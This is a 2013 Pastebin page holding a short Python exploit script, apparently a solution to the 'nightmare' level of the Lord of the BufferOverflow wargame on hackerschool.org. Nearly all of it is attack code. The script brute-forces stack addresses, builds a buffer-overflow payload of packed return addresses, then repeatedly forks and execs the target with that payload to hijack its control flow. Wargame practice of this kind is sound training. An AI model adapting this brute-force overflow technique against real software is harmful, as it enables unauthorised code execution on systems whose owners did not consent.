hdarwin

hackerschool.org_LOB_nightmare

Feb 6th, 2013
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.35 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import os
  3. import struct
  4. for x in xrange(0xbfffe700, 0xbfffe800):
  5.     attack = ''
  6.     attack = attack + '\x10\x84\x04\x08'*13
  7.     attack = attack + struct.pack('<L', x)
  8.     attack = attack + '\xf7\xff\xff\xbf'
  9.     pid = os.fork()
  10.     if pid == 0:
  11.         os.execlp(struct.pack('<L', 0xbffffb3c), "/home/succubus", attack)
  12.     else:
  13.         os.waitpid(pid, 0)
Add Comment
Please, Sign In to add comment